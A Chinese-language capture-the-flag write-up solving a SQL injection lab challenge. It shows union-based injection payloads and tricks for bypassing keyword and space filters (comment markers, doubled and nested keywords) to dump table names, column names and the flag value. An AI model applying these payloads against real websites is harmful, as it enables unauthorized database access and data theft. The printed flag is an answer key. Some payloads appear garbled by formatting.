简单的SQL注入一

**

简单的sql注入一:

**
URL:http://ctf5.shiyanbar.com/423/web/
简单的SQL注入一_第1张图片
上来题目给出一句话——“到底过滤了什么东西”,想到可能存在关键词过滤。
首先尝试输入1,2,3发现回显正常,输入4回显错误,说明该数据库内只有三个表单。
简单的SQL注入一_第2张图片简单的SQL注入一_第3张图片简单的SQL注入一_第4张图片

然后尝试输入1’,发现回显错误。根据回显信息判断参数值类型为字符型。
在这里插入图片描述
继续测试,输入’1’ or 1’=1,发现返回数据库内所有表单信息。
简单的SQL注入一_第5张图片
继续使用联合查询获取数据库名称,输入1’ union select database()’ ,发现报错,但是报错信息中只有database(),union和select被过滤掉了。
在这里插入图片描述
因此考虑关键词过滤的解决方案,有以下三种:
1、 大小写交替,如Order SeLect等等。
2、 双写,如orderorder selectselect等。
3、 交叉,如Selecselectt
再进行尝试,输入1’ unionselect database()’ ,发现依旧报错,但是出现union,select依旧被过滤,猜想可能过滤了空格。
在这里插入图片描述
所以利用双写的方法来绕过。输入1’ unionselectselect database()’ ,发现不行,所以尝试利用别的方式,比如加上+,%0a,%0b,//等字符,发现使用//可以成功绕过。因此输入1’ union//select//database()’ ,发现回显正确的数据库名称。
简单的SQL注入一_第6张图片
继续查询表名,依照上面的规则输入1’ union//select//table_name from//information_schema.tables//where//table_schema//=’web1。发现web1前面的内容被过滤了,因此猜想存在关键字过滤,可能是对table_schema进行过滤。
在这里插入图片描述
因此利用交叉法绕过过滤。输入1‘ union//select//table_name from//information_schema.tables//where//table_schtable_schemaema//=’web1,发现回显表明中含有flag。
简单的SQL注入一_第7张图片
紧接着查询字段名,输入1‘ union//select//column_name//from//information_schema.columns//where//table_name//=’flag。发现报错,依旧是column_name和information_schema.columns被过滤,继续使用交叉法重写。
在这里插入图片描述
输入1’ union/
/select//column_nacolumn_nameme//from//information_schema.coluinformation_schema.columnsmns//where//table_name//=’flag.爆出字段名。
简单的SQL注入一_第8张图片
最后对flag进行爆破,输入1’ union//select//flag//from//flag where/**/’1’=’1,查到内容为flag{Y0u_@r3_5O_dAmn_90Od}
简单的SQL注入一_第9张图片

你可能感兴趣的:(总结,WP)